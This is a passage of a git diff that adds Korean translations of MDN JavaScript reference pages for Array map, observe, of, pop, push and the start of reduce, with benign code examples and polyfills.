+<p><code>map</code>은 호출한 배열의 값을 변형하지 않습니다. 단, <code>callback</code> 함수에 의해서 변형될 수는 있습니다.</p>
+
+<p><code>map</code>이  처리할 요소의 범위는 첫 <code>callback</code>을 호출하기 전에 정해집니다. <code>map</code>이 시작한 이후 배열에 추가되는 요소들은 <code>callback</code>을 호출하지 않습니다. 배열에 존재하는 요소들의 값이 바뀐 경우 <code>map</code>이 방문하는 시점의 값이 <code>callback</code>에 전달됩니다. <code>map</code>이 시작되고, 방문하기 전에 삭제된 요소들은 방문하지 않습니다.</p>
+
+<p>명세서에 정의된 알고리즘으로 인해 <code>map</code>을 호출한 배열의 중간이 비어있는 경우, 결과 배열 또한 동일한 인덱스를 빈 값으로 유지합니다.</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="Example_Mapping_an_array_of_numbers_to_an_array_of_square_roots" name="Example:_Mapping_an_array_of_numbers_to_an_array_of_square_roots">배열에 들어있는 숫자들의 제곱근을 구하여 새로운 배열을 만들기</h3>
+
+<p>다음 코드는 숫자의 배열을 받아 각 숫자들의 제곱근이 들어있는 새로운 배열을 만듭니다.</p>
+
+<pre class="brush: js">var numbers = [1, 4, 9];
+var roots = numbers.map(Math.sqrt);
+// roots는 [1, 2, 3]
+// numbers는 그대로 [1, 4, 9]
+</pre>
+
+<h3 id="Example_Using_map_to_reformat_objects_in_an_array" name="Example:_Using_map_to_reformat_objects_in_an_array"><code>map</code>을 활용해 배열 속 객체를 재구성하기</h3>
+
+<p>다음 코드는 오브젝트의 배열을 받아 각 오브젝트를 다른 형태으로 재구성해 새로운 배열을 만듭니다.</p>
+
+<pre class="brush: js">var kvArray = [{key:1, value:10},
+ {key:2, value:20},
+ {key:3, value: 30}];
+
+var reformattedArray = kvArray.map(function(obj){
+ var rObj = {};
+ rObj[obj.key] = obj.value;
+ return rObj;
+});
+// reformattedArray는 [{1:10}, {2:20}, {3:30}]
+
+// kvArray는 그대로
+// [{key:1, value:10},
+// {key:2, value:20},
+// {key:3, value: 30}]
+</pre>
+
+<h3 id="Example_Mapping_an_array_of_numbers_using_a_function_containing_an_argument" name="Example:_Mapping_an_array_of_numbers_using_a_function_containing_an_argument">인자를 받는 함수를 사용하여 숫자 배열 재구성하기</h3>
+
+<p>다음 코드는 인자가 한개인 함수를 이용하여 map이 어떻게 동작하는지 나타냅니다. 인자인 배열과 안의 요소들은 map을 통해 순회하면서 원본 배열로 부터 자동으로 할당됩니다.</p>
+
+<pre class="brush: js">var numbers = [1, 4, 9];
+var doubles = numbers.map(function(num) {
+ return num * 2;
+});
+// doubles는 이제 [2, 8, 18]
+// numbers는 그대로 [1, 4, 9]
+</pre>
+
+<h3 id="Example_using_map_generically" name="Example:_using_map_generically"><code>map</code>을 포괄적으로 사용하기</h3>
+
+<p>아래 예제는 {{jsxref("Global_Objects/String", "String")}}에 map을 사용해서 각 문자의 ASCII 인코딩 값을 요소로 갖는 배열을 얻는 방법을 보여줍니다.</p>
+
+<pre class="brush: js">var map = Array.prototype.map;
+var a = map.call('Hello World', function(x) { return x.charCodeAt(0); });
+// a는 이제 [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
+</pre>
+
+<h3 id="Example_using_map_generically_querySelectorAll" name="Example:_using_map_generically_querySelectorAll"><code>map</code>을 포괄적으로 사용하기 (<code>querySelectorAll</code>)</h3>
+
+<p>아래 예제는 <code>querySelectorAll</code>을 사용해서 수집된 객체들을 순회 처리하는 법을 보여줍니다. 이번 경우 체크한 옵션 박스를 콘솔에 프린트합니다.</p>
+
+<pre class="brush: js">var elems = document.querySelectorAll('select option:checked');
+var values = [].map.call(elems, function(obj) {
+ return obj.value;
+});
+</pre>
+
+<p>더 쉬운 방법은 {{jsxref("Array.from()")}}을 사용하는 것입니다.</p>
+
+<h3 id="Example_Tricky_use_case" name="Example:_Tricky_use_case">까다로운 사례</h3>
+
+<p><a href="http://www.wirfs-brock.com/allen/posts/166">(참고한 블로그 포스트)</a></p>
+
+<p><code>map</code>에 하나의 인자(순회하는 원소)만 받는 콜백을 사용하는 경우가 많습니다. 그러나 어떤 함수는 대개 하나의 인자로 호출하지만 두 개 이상의 인자를 사용하는 경우도 있습니다. 이로 인해 어떤 경우 혼란스러울 수도 있습니다.</p>
+
+<pre class="brush: js">// 아래 라인을 보시면...
+['1', '2', '3'].map(parseInt);
+// 결과를 [1, 2, 3] 으로 기대할 수 있습니다.
+// 그러나 실제 결과는 [1, NaN, NaN] 입니다.
+
+// parseInt 함수는 보통 하나의 인자만 사용하지만, 두 개를 받을 수 있습니다.
+// 첫 번째 인자는 변환하고자 하는 표현이고 두 번째는 숫자로 변환할 때 사용할 진법입니다.
+// Array.prototype.map은 콜백에 세 가지 인자를 전달합니다.
+// 배열의 값, 값의 인덱스, 그리고 배열
+// 세 번째 인자는 parseInt가 무시하지만 두 번째 인자는 아닙니다.
+// 따라서 혼란스러운 결과를 도출할 수 있습니다. 자세한 내용은 블로그 포스트를 참고하시길 바랍니다.
+
+function returnInt(element) {
+ return parseInt(element, 10);
+}
+
+['1', '2', '3'].map(returnInt); // [1, 2, 3]
+// 실제 결과가 예상한 대로 배열의 숫자와 같습니다.
+
+// 위와 같지만 더 간단한 화살표 표현식
+['1', '2', '3'].map(str =&gt; parseInt(str));
+
+// 더 간단하게 해결할 수 있는 방법
+['1', '2', '3'].map(Number); // [1, 2, 3]
+// 그러나 `parseInt`와 달리 float이나 지수표현도 반환합니다.
+['1.1', '2.2e2', '3e300'].map(Number); // [1.1, 220, 3e+300]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">폴리필</h2>
+
+<p><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">map</span></font>은 ECMA-262 표준 제5판에 추가됐습니다. 따라서 어떤 표준 구현체에서는 사용할 수 없을 수도 있습니다. 다른 모든 코드 이전에 아래 코드를 포함하면 지원하지 않는 플랫폼에서도 <code>map</code>을 사용할 수 있습니다. 아래 알고리즘은 {{jsxref("Object")}}, {{jsxref("TypeError")}}, {{jsxref("Array")}}가 변형되지 않고, <code>callback.call</code>의 계산 값이 원래의 {{jsxref("Function.prototype.call()")}}과 같은 경우 ECMA-262 제5판이 명시한 것과 동일합니다.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.19
+// Reference: http://es5.github.io/#x15.4.4.19
+if (!Array.prototype.map) {
+
+ Array.prototype.map = function(callback, thisArg) {
+
+ var T, A, k;
+
+ if (this == null) {
+ throw new TypeError(' this is null or not defined');
+ }
+
+ // 1. Let O be the result of calling ToObject passing the |this|
+ // value as the argument.
+ var O = Object(this);
+
+ // 2. Let lenValue be the result of calling the Get internal
+ // method of O with the argument "length".
+ // 3. Let len be ToUint32(lenValue).
+ var len = O.length &gt;&gt;&gt; 0;
+
+ // 4. If IsCallable(callback) is false, throw a TypeError exception.
+ // See: http://es5.github.com/#x9.11
+ if (typeof callback !== 'function') {
+ throw new TypeError(callback + ' is not a function');
+ }
+
+ // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.
+ if (arguments.length &gt; 1) {
+ T = thisArg;
+ }
+
+ // 6. Let A be a new array created as if by the expression new Array(len)
+ // where Array is the standard built-in constructor with that name and
+ // len is the value of len.
+ A = new Array(len);
+
+ // 7. Let k be 0
+ k = 0;
+
+ // 8. Repeat, while k &lt; len
+ while (k &lt; len) {
+
+ var kValue, mappedValue;
+
+ // a. Let Pk be ToString(k).
+ // This is implicit for LHS operands of the in operator
+ // b. Let kPresent be the result of calling the HasProperty internal
+ // method of O with argument Pk.
+ // This step can be combined with c
+ // c. If kPresent is true, then
+ if (k in O) {
+
+ // i. Let kValue be the result of calling the Get internal
+ // method of O with argument Pk.
+ kValue = O[k];
+
+ // ii. Let mappedValue be the result of calling the Call internal
+ // method of callback with T as the this value and argument
+ // list containing kValue, k, and O.
+ mappedValue = callback.call(T, kValue, k, O);
+
+ // iii. Call the DefineOwnProperty internal method of A with arguments
+ // Pk, Property Descriptor
+ // { Value: mappedValue,
+ // Writable: true,
+ // Enumerable: true,
+ // Configurable: true },
+ // and false.
+
+ // In browsers that support Object.defineProperty, use the following:
+ // Object.defineProperty(A, k, {
+ // value: mappedValue,
+ // writable: true,
+ // enumerable: true,
+ // configurable: true
+ // });
+
+ // For best browser support, use the following:
+ A[k] = mappedValue;
+ }
+ // d. Increase k by 1.
+ k++;
+ }
+
+ // 9. return A
+ return A;
+ };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.19', 'Array.prototype.map')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.6.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.map', 'Array.prototype.map')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.map', 'Array.prototype.map')}}</td>
+ <td></td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.map")}}</div>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Map")}} 객체</li>
+ <li>{{jsxref("Array.from()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/observe/index.html b/files/ko/web/javascript/reference/global_objects/array/observe/index.html
new file mode 100644
index 0000000000..015ae049c5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/observe/index.html
@@ -0,0 +1,87 @@
+---
+title: Array.observe()
+slug: Web/JavaScript/Reference/Global_Objects/Array/observe
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Obsolete
+translation_of: Archive/Web/JavaScript/Array.observe
+---
+<div>{{JSRef}} {{obsolete_header}}</div>
+
+<p><strong><code>Array.observe()</code> </strong>메서드는 {{jsxref("Object.observe()")}}가 객체를 관찰하는 것과 비슷하게 , 배열의 변화를 비동기 적으로 관찰 하는데 사용 되었습니다. <font face="Consolas, Liberation Mono, Courier, monospace">그것은 </font>발생 순서에 따른 변화의 흐름을 제공합니다. <code>Object.observe()</code>가 accept type list <code>["add", "update", "delete", "splice"]</code>와 함께 호출되는 것과 같습니다. 하지만 이 API는 더이상 사용되지 않고 브라우저에서 제거 되었습니다. 대신, 더 일반적인 {{jsxref("Proxy")}} 객체를 사용하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Array.observe(<var>arr</var>, <var>callback</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>arr</code></dt>
+ <dd>관찰 할 배열</dd>
+ <dt><code>callback</code></dt>
+ <dd>이 함수는 변화가 일어날때 마다 다음과 같은 인수와 함께 호출됩니다.
+ <dl>
+ <dt><code>changes</code></dt>
+ <dd>변경을 나타내는 각 객체들의 배열입니다. 이 변경 객체들의 프로퍼티 들은:
+ <ul>
+ <li><strong><code>name</code></strong>: 변경된 프로퍼티의 이름</li>
+ <li><strong><code>object</code></strong>: 변경 후 배열</li>
+ <li><strong><code>type</code></strong>: 변경 타입을 나타내는 문자. <code>"add"</code>, <code>"update"</code>, <code>"delete"</code>, 또는 <code>"splice" 중 하나</code>.</li>
+ <li><strong><code>oldValue</code></strong>: <code>"update"</code> 나 <code>"delete"유형에만 해당합니다. 변경 전 값</code>.</li>
+ <li><strong><code>index</code></strong>: <code>"splice"유형에만 해당합니다</code>. 변경이 발생한 인덱스.</li>
+ <li><strong><code>removed</code></strong>: <code>"splice"유형에만 해당합니다</code>. 삭제 된 요소들의 배열.</li>
+ <li><strong><code>addedCount</code></strong>: <code>"splice"유형에만 해당합니다</code>. 추가 된 요소들의 숫자.</li>
+ </ul>
+ </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>콜백 함수는 arr이 변경 될 때마다 호출되며 발생하는 순서대로 모든 변경 사항의 배열로 호출됩니다</p>
+
+<div class="note">
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop">Array.prototype.pop()</a>이</code> <code>"splice"</code> 변경으로 보고되는 것처럼, 변경은 배열 메서드를 통해 일어납니다. 배열 길이를 변경하지 않는 인덱스 할당 변경은 "update" 변경으로 보고 될 수 있습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="다른_변경_유형_로깅(Logging)">다른 변경 유형 로깅(Logging)</h3>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+
+Array.observe(arr, function(changes) {
+ console.log(changes);
+});
+
+arr[1] = 'B';
+// [{type: 'update', object: &lt;arr&gt;, name: '1', oldValue: 'b'}]
+
+arr[3] = 'd';
+// [{type: 'splice', object: &lt;arr&gt;, index: 3, removed: [], addedCount: 1}]
+
+arr.splice(1, 2, 'beta', 'gamma', 'delta');
+// [{type: 'splice', object: &lt;arr&gt;, index: 1, removed: ['B', 'c'], addedCount: 3}]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Strawman proposal specification</a>.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.observe")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="//stackoverflow.com/q/29269057/778272">Under what condition would Array.observe's “add” event trigger?</a></li>
+ <li>{{jsxref("Array.unobserve()")}} {{obsolete_inline}}</li>
+ <li>{{jsxref("Object.observe()")}} {{obsolete_inline}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/of/index.html b/files/ko/web/javascript/reference/global_objects/array/of/index.html
new file mode 100644
index 0000000000..edcd9bddc5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/of/index.html
@@ -0,0 +1,104 @@
+---
+title: Array.of()
+slug: Web/JavaScript/Reference/Global_Objects/Array/of
+tags:
+ - Array
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/of
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Array.of()</strong></code> 메서드는 인자의 수나 유형에 관계없이 가변 인자를 갖는 새 <code>Array</code> 인스턴스를 만듭니다.</p>
+
+<p><code>Array.of()</code>와 <code>Array</code> 생성자의 차이는 정수형 인자의 처리 방법에 있습니다. <code>Array.of(7)</code>은 하나의 요소 <code>7</code>을 가진 배열을 생성하지만 <code>Array(7)</code>은 <code>length</code> 속성이 7인 빈 배열을 생성합니다.</p>
+
+<pre class="brush: js">Array.of(7); // [7]
+Array.of(1, 2, 3); // [1, 2, 3]
+
+Array(7); // [ , , , , , , ]
+Array(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">Array.of(<var>element0</var>[, <var>element1</var>[, ...[, <var>elementN</var>]]])</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>배열을 생성할 때 사용할 요소.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{jsxref("Array")}} 객체.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>이 함수는 ECMAScript 2015 표준 일부입니다. 자세한 정보는 <a href="https://gist.github.com/rwaldron/1074126"><code>Array.of</code>, <code>Array.from</code> 제안 사항</a>과 <a href="https://gist.github.com/rwaldron/3186576"><code>Array.of</code> 폴리필</a>에서 확인하실 수 있습니다.</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: js">Array.of(1); // [1]
+Array.of(1, 2, 3); // [1, 2, 3]
+Array.of(undefined); // [undefined]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">폴리필</h2>
+
+<p>아래 코드를 다른 코드 이전에 포함하면 <code>Array.of</code>를 지원하지 않는 환경에서도 사용할 수 있습니다.</p>
+
+<pre class="brush: js">if (!Array.of) {
+ Array.of = function() {
+ return Array.prototype.slice.call(arguments);
+ };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.of")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.from()")}}</li>
+ <li>{{jsxref("TypedArray.of()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/pop/index.html b/files/ko/web/javascript/reference/global_objects/array/pop/index.html
new file mode 100644
index 0000000000..d02df55262
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/pop/index.html
@@ -0,0 +1,91 @@
+---
+title: Array.prototype.pop()
+slug: Web/JavaScript/Reference/Global_Objects/Array/pop
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>pop()</strong></code> 메서드는 배열에서 <strong>마지막</strong> 요소를 제거하고 그 요소를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-pop.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.pop()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열에서 제거한 요소. 빈 배열의 경우 {{jsxref("undefined")}} 를 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>pop</code> 메서드는 배열에서 마지막 요소를 제거하여 그 값을 호출자(caller)에게 반환합니다.</p>
+
+<p><code>pop</code>은 일부러 일반(generic)입니다; 이 메서드는 배열을 닮은 객체에 {{jsxref("Function.call", "호출", "", 1)}} 또는 {{jsxref("Function.apply", "적용", "", 1)}}될 수 있습니다. 0부터 시작하는 일련의 연속되는 숫자 속성 내 마지막을 반영하는 <code>length</code> 속성을 포함하지 않는 객체는 어떤 의미 있는 방식으로도 행동하지 않을 수 있습니다.</p>
+
+<p>빈 배열에 <code>pop()</code>을 호출하면, {{jsxref("undefined")}}를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열의_마지막_요소_제거">배열의 마지막 요소 제거</h3>
+
+<p>다음 코드는 요소 넷을 포함하는 <code>myFish</code> 배열을 생성하고 그 마지막 요소를 제거합니다.</p>
+
+<pre><code>var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+
+var popped = myFish.pop();
+
+console.log(myFish); // ['angel', 'clown', 'mandarin' ]
+
+console.log(popped); // 'sturgeon'</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>초기 정의. JavaScript 1.2에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.pop")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/push/index.html b/files/ko/web/javascript/reference/global_objects/array/push/index.html
new file mode 100644
index 0000000000..73d9c9ad78
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/push/index.html
@@ -0,0 +1,113 @@
+---
+title: Array.prototype.push()
+slug: Web/JavaScript/Reference/Global_Objects/Array/push
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/push
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>push()</strong></code> 메서드는 배열의 끝에 하나 이상의 요소를 추가하고, 배열의 새로운 길이를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-push.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.push(<var>element1[</var>, ...[, <var>elementN]]</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>배열의 끝에 추가할 요소.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>호출한 배열의 새로운 {{jsxref("Array.length", "length")}} 속성.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>push</code> 메서드는 배열 끝에 여러 값을 추가합니다.</p>
+
+<p><code>push</code>는 의도적으로 <a href="https://en.wikipedia.org/wiki/Generic_programming">제네릭</a>합니다. 배열을 닯은 객체에 {{jsxref("Function.call", "call()")}} 또는 {{jsxref("Function.apply", "apply()")}}로 사용될 수 있다. <code>push</code> 메서드는 주어진 값을 입력하는 것을 어디에 시작할 것인지를 결정하기 위해 <code>length</code> 속성에  의존한다. 만약 <code>length</code> 속성이 숫자로 변환 될 수 없다면 인덱스는 0을 사용한다. <code>length</code> 가 생성되게 될 경우에  길이 값이 존재하지 않을 가능성을 포함한다.  </p>
+
+<p>String(문자열)이 변경할 수 없는 것처럼 비록 이 명령어의 어플리케이션들이 적합하지 않다고 할지라도 단지 원래 배열 같은 객체는 {{jsxref("Global_Objects/String", "strings", "", 1)}}이다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="배열에_엘리먼트를_추가_하기">배열에 엘리먼트를 추가 하기</h3>
+
+<p>다음 코드는 두가지 엘리먼트를 포함하는 스포츠 배열을 생성하고 두개의 엘리먼트를 추가 한다. <code>total</code> 변수는 추가한 배열의 새 길이 값을 포함한다. </p>
+
+<pre class="brush: js">var sports = ['축구', '야구'];
+var total = sports.push('미식축구', '수영');
+
+console.log(sports); // ['축구', '야구', '미식축구', '수영']
+console.log(total); // 4
+</pre>
+
+<h3 id="두개의_배열을_합치기">두개의 배열을 합치기</h3>
+
+<p>이 예제는 두번째 배열의 모든 엘리먼트를 push 하기 위해 {{jsxref("Function.apply", "apply()")}}를 사용한다.</p>
+
+<p>만약 두번째 배열( 아래 예제에서는 moreVegs )이 매우 클 경우, 이 메소드를 사용하지 말아야 한다. 실제로 한 함수가 사용가능한 매개변수의 최대 개수에는 제한이 있기 때문이다. 더 자세한 사항은    {{jsxref("Function.apply", "apply()")}} 에서 찾아볼 수 있다.</p>
+
+<pre class="brush: js">var vegetables = ['설탕당근', '감자'];
+var moreVegs = ['셀러리', '홍당무'];
+
+// 첫번째 배열에 두번째 배열을 합친다.
+// vegetables.push('셀러리', '홍당무'); 하는 것과 동일하다.
+Array.prototype.push.apply(vegetables, moreVegs);
+
+console.log(vegetables); // ['설탕당근', '감자', '셀러리', '홍당무']
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세서</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>초기 정의. JavaScript 1.2에서 구현되었음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.7', 'Array.prototype.push')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.push', 'Array.prototype.push')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.push', 'Array.prototype.push')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.push")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/reduce/index.html b/files/ko/web/javascript/reference/global_objects/array/reduce/index.html
new file mode 100644
index 0000000000..bd3516865e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/reduce/index.html
@@ -0,0 +1,573 @@
+---
+title: Array.prototype.reduce()
+slug: Web/JavaScript/Reference/Global_Objects/Array/Reduce
+tags:
+ - Array
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><code><strong>reduce()</strong></code><strong> </strong>메서드는 배열의 각 요소에 대해 주어진 <strong>리듀서</strong>(reducer) 함수를 실행하고, 하나의 결과값을 반환합니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-reduce.html")}}</div>
+
+
+
+<p><strong>리듀서</strong> 함수는 네 개의 인자를 가집니다.</p>
+
+<ol>
+ <li>누산기<sup>accumulator</sup> (acc)</li>
+ <li>현재 값 (cur)</li>
+ <li>현재 인덱스 (idx)</li>
+ <li>원본 배열 (src)</li>
+</ol>
+
+<p>리듀서 함수의 반환 값은 누산기에 할당되고, 누산기는 순회 중 유지되므로 결국 최종 결과는 하나의 값이 됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.reduce(<var>callback</var>[, <var>initialValue</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>배열의 각 요소에 대해 실행할 함수. 다음 네 가지 인수를 받습니다.</dd>
+ <dd>
+ <dl>
+ <dt><code>accumulator</code></dt>
+ <dd>누산기<sup>accmulator</sup>는 콜백의 반환값을 누적합니다. 콜백의 이전 반환값 또는, 콜백의 첫 번째 호출이면서 <code>initialValue</code>를 제공한 경우에는 <code>initialValue</code>의 값입니다.</dd>
+ <dt><code>currentValue</code></dt>
+ <dd>처리할 현재 요소.</dd>
+ <dt><code>currentIndex</code> {{optional_inline}}</dt>
+ <dd>처리할 현재 요소의 인덱스. <code>initialValue</code>를 제공한 경우 0, 아니면 1부터 시작합니다.</dd>
+ <dt><code>array</code> {{optional_inline}}</dt>
+ <dd><code>reduce()</code>를 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>initialValue</code> {{optional_inline}}</dt>
+ <dd><code>callback</code>의 최초 호출에서 첫 번째 인수에 제공하는 값. 초기값을 제공하지 않으면 배열의 첫 번째 요소를 사용합니다. 빈 배열에서 초기값 없이 <code>reduce()</code>를 호출하면 오류가 발생합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>누적 계산의 결과 값.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>reduce()</code>는 빈 요소를 제외하고 배열 내에 존재하는 각 요소에 대해 <code>callback</code> 함수를 한 번씩 실행하는데, 콜백 함수는 다음의 네 인수를 받습니다:</p>
+
+<ul>
+ <li><code>accumulator</code></li>
+ <li><code>currentValue</code></li>
+ <li><code>currentIndex</code></li>
+ <li><code>array</code></li>
+</ul>
+
